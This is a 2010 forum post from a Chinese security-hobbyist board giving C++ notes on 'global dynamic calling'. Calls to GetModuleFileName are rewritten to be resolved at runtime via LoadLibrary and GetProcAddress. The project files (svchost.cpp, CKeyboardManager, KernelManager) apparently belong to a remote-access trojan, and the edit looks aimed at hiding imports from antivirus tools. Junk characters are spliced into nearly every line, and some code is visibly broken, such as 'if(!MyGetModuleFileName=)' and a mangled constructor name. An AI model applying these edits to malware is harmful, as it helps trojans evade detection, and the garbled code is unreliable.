Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记( G. P. X, n5 Q5 [; |/ i  l
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. c4 Z( I8 m5 F
----------------------------------------
% f1 o4 w1 i  m2 H) TDTDY.h:5 `1 V3 @4 V0 g) L- a
1 d0 @1 e7 C" s7 Y- D1 A3 J
#if _MSC_VER>1000
4 X: H6 T6 J* X% R$ x/ B#pragma once
- x/ i8 v/ N* M2 o# U  ~#endif //_MSC_VER>10003 S0 W; X2 k6 H, f. X
#include<windows.h>+ ?- N/ c1 x; s4 _
6 d. j* `1 ~- r! \: O9 ]
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);2 ]& U: ?0 n( D0 }; T
class DTDY
0 j7 N" j) N  r9 n{6 D/ `8 u% n1 m1 ^* I: p' J- P) `
public:, C  b% d' G5 n, r8 A
DTDY();
: E1 p4 I  p9 r& ?, Lvirtual ~DTDY();' Z/ V1 Z, B) j8 M: C. F( T4 m# v# e
public:- u/ e# w: [" U; K$ p: n9 E
static pGetModuleFileNameA MyGetModuleFileName;
  G# L# I, Y/ w$ Istatic BOOL FunInitiallization();" r) k" m' |! X1 B# \0 C
};/ o: d  Q. l2 m6 [) u
#endif8 B# ]7 l/ c# ^  L; {7 W- h
----------------------------------------5 ]  V' S% }" j# S1 U: S
% r. V% {, f5 I  E7 e
DTDY.cpp:
, q+ c4 v  i$ W
- V- Z3 J4 V2 y0 O0 f#include "DTDY.h"1 I* K; o) v/ ~: m
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 c+ o) s/ Y- J  ^
DTDY:TDY()" [( _& M  Z7 u8 o. P' C9 U
{
: U. ^9 T: J, L; H; Y9 @}2 \; \0 S! \, @* y" x' H" V- _
DTDY::~DTDY()
5 C. \3 y/ Z4 A6 P5 f/ v# G) g{7 P3 @7 O. o, U8 d
}
% q  ~7 l$ l9 j& P& ~' }1 E2 {BOOL DTDY::FunInitiallization()
% I6 c( W3 p1 R9 ]{0 K2 `1 ]' T- t, l& d
HMODULE hModule=LoadLibrary("kernel32.dll");/ r. {+ S$ C. x% \6 L5 K
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");' o% K' b$ I! z6 A  X
if(!MyGetModuleFileName=) return FALSE;1 n9 p/ E8 ^% Q' ~7 c4 v) `

) h& ~, B8 X. O! ^9 l& Preturn TRUE;
- I0 M( v3 V) Y}# F  f  B5 c; N) s0 F
----------------------------------------# O1 F/ m+ _7 [! g8 K; ^
svchost.cpp:
3 A8 K! x, v# u; M$ U3 E' X$ y. t. ?/ h/ ]6 U" |! v9 e
#include "DTDY.h"
9 E9 [7 o* O) G& L5 |& p# V! R
6 @  L' K* _# X$ EBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)8 f) G# y3 X' G; z5 `' ^' g
{- Q. F3 \" p8 F- G4 e
switch(ul_reason_for_call)
7 b. y% d9 h( s. P3 [  g( d{- ^& k- G  ^6 h  {6 i& _
case DLL_PROCESS_ATTACH:
+ v. q3 a; ^2 i2 z  c8 S& @: Fif(!DTDY::FunInitiallization()) return FALSE;
# F7 w! X$ c: F5 P  O
7 Q) k5 x, H) I' W, Y% k1 e2 o1 nbreak;
- |- z6 v; m2 n7 K}& m( V  k4 B, y9 j" h5 E, {
}1 _( b: c  m) O9 l
4 I3 w1 m. ?  Y  m  L. q
: m& R% o6 k6 |; _
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def  r: N' z3 r; B: X  W
改写为
# w% C& P. T" M; C7 U3 PDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
7 F1 T8 n- j7 c: C$ I" \/ e, l4 d----------------------------------------
! r. G0 g% n# z+ f4 r3 `6 WKernelManager.cpp:% s3 ^  S) D; M" ~" b8 [* W9 @$ A

6 t- x2 [1 V8 f+ R# ?: s#include "../DTDY.h"7 L' t( `5 @% e$ x; }
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 I6 B. R! f- P$ e0 d! c- N
改写为5 o& t" f, C# _1 b" ~( Q
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 Z$ B' x! {2 m4 H9 j# n* y! _
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2